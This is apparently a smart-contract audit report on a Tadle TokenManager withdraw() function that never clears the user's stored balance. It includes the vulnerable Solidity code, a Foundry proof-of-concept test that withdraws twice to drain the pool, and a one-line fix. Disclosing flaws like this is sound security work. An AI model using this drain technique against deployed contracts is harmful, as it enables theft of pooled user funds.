Summary
The TokenManager::withdraw() function does not update the user's balance in the storage mapping, allowing users to call it repeatedly until the contract funds are exhausted.
Vulnerability Details
The contract code is as follows. The implementation of the TokenManager::withdraw() function only retrieves the balance that the caller can withdraw from the storage, but does not update the balance in the mapping after the withdrawal. This allows users to call this method indefinitely until the contract funds are depleted.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Poc
Add the following test code to test/PreMarkets.t.sol and execute it:
function test_TokenManager_withdraw() public {
deal(address(weth9),address(capitalPool),100e18);
address attackerOne = makeAddr("attackerOne");
address attackerTwo = makeAddr("attackerTwo");
deal(attackerOne,2e18);
deal(attackerTwo,2e18);
vm.startPrank(attackerOne);
preMarktes.createOffer{value: 1.2 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
address attackerOneOfferAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(attackerTwo);
preMarktes.createTaker{value: 1.035 * 1e18}(attackerOneOfferAddr, 1000);
vm.stopPrank();
uint256 attackerOneSalesRevenueBeforeWithdraw = tokenManager.userTokenBalanceMap(
address(attackerOne),
address(weth9),
TokenBalanceType.SalesRevenue
);
capitalPool.approve(address(weth9));
vm.startPrank(attackerOne);
console2.log("The attackerOne's ETH balance before calling withdraw():",attackerOne.balance);
tokenManager.withdraw(address(weth9),TokenBalanceType.SalesRevenue);
console2.log("The attackerOne's ETH balance after calling withdraw():",attackerOne.balance);
uint256 attackerOneSalesRevenueAfterWithdraw = tokenManager.userTokenBalanceMap(
address(attackerOne),
address(weth9),
TokenBalanceType.SalesRevenue
);
assertEq(attackerOneSalesRevenueAfterWithdraw,attackerOneSalesRevenueBeforeWithdraw);
tokenManager.withdraw(address(weth9),TokenBalanceType.SalesRevenue);
console2.log("ETH balance after the attacker calls withdraw() again:",attackerOne.balance);
vm.stopPrank();
}
Code Snippet
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L189
Impact
The TokenManager::withdraw() function does not update the user's balance in the storage mapping, allowing users to withdraw funds repeatedly until the contract funds are exhausted. This poses a critical security risk as it can lead to the complete depletion of contract funds.
Tools Used
Manual Review
Recommendations
Add the implementation of updating the user's balance after withdrawal:
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
// Update user's balance
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
